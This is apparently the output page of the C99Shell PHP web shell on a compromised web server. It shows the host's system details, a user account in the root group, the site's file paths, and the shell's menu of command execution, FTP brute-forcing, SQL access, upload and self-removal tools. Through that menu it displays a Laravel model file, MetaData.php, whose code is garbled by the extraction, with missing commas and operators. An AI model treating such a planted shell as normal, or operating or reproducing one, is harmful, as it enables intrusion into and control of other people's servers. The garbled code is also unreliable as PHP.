!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Models/   drwxr-xr-x
Free 27.08 GB of 117.98 GB (22.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MetaData.php (2.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
App\Traits\ModelTraits\hasFiles;
use 
DateTime;
use 
Illuminate\Database\Eloquent\Model;

class 
MetaData extends Model
{
    use 
hasFiles;
    
    
/**
     * @var array
     */
    
protected $fillable = ['key''value'];

    
/**
     * @var array
     */
    
protected $dataTypes = ['boolean''integer''double''float''string''NULL'];

    
/**
     * Whether or not to delete the Data on save.
     *
     * @var bool
     */
    
protected $markForDeletion false;

    
/**
     * Whether or not to delete the Data on save.
     *
     * @param bool $bool
     */
    
public function markForDeletion($bool true)
    {
        
$this->markForDeletion $bool;
    }

    
/**
     * Check if the model needs to be deleted.
     *
     * @return bool
     */
    
public function isMarkedForDeletion()
    {
        return (bool) 
$this->markForDeletion;
    }

    
/**
     * Set the value and type.
     *
     * @param $value
     */
    
public function setValueAttribute($value)
    {
        
$type gettype($value);

        if (
is_array($value)) {
            
$this->type 'array';
            
$this->attributes['value'] = json_encode($value);
        } elseif (
$value instanceof DateTime) {
            
$this->type 'datetime';
            
$this->attributes['value'] = $this->fromDateTime($value);
        } elseif (
$value instanceof Model) {
            
$this->type 'model';
            
$this->attributes['value'] = get_class($value).(!$value->exists '' '#'.$value->getKey());
        } elseif (
is_object($value)) {
            
$this->type 'object';
            
$this->attributes['value'] = json_encode($value);
        } else {
            
$this->type in_array($type$this->dataTypes) ? $type 'string';
            
$this->attributes['value'] = $value;
        }
    }

    public function 
getValueAttribute($value)
    {
        
$type $this->type ?: 'null';

        switch (
$type) {
            case 
'array':
                return 
json_decode($valuetrue);
            case 
'object':
                return 
json_decode($value);
            case 
'datetime':
                return 
$this->asDateTime($value);
            case 
'model': {
                if (
strpos($value'#') === false) {
                    return new 
$value();
                }

                list(
$class$id) = explode('#'$value);

                return 
with(new $class())->findOrFail($id);
            }
        }

        if (
in_array($type$this->dataTypes)) {
            
settype($value$type);
        }

        return 
$value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--